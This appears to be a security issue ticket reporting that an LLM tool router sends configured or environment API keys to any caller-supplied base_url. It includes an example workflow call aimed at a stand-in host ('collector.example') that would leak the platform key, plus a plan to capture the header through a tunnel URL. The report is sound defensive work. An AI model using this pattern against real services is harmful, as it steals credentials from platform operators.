#1047 LLM providers send config/env API keys to a caller-supplied base_url (ollama, OpenAI-compat set, anthropic)

EARS: If a tools.llm.call caller passes base_url and no api_key/api_key_secret_id, then the router shall either use the configured base_url or refuse the call; it shall never attach a platform/config/env key to a caller-chosen host. FOUND in #1044 (static, not reproduced live): docker/highway-core/engine/tools/llm/core/providers.py _route_to_provider. ollama branch: base_url param wins over [ollama] base_url while api_key falls back to [ollama] api_key / OLLAMA_API_KEY. OpenAI-compat branch: resolved_base = base_url or [llm] <p>_base_url or default, key = [llm] <p>_api_key or <P>_API_KEY env. anthropic: same with ANTHROPIC_API_KEY. A tenant workflow tools.llm.call(provider='ollama', base_url='https://collector.example', model=..) would send Authorization: Bearer <OLLAMA_API_KEY> to that host. The #1044 'prism' provider refuses this (ValueError 'base_url override is refused when the platform key is used'); the same guard should cover the other providers. Repro needed: submit a workflow on tenant test with base_url pointing at a retunnel URL and observe the Authorization header. Also check execute.py: an explicit caller api_key is passed to every fallback-chain candidate.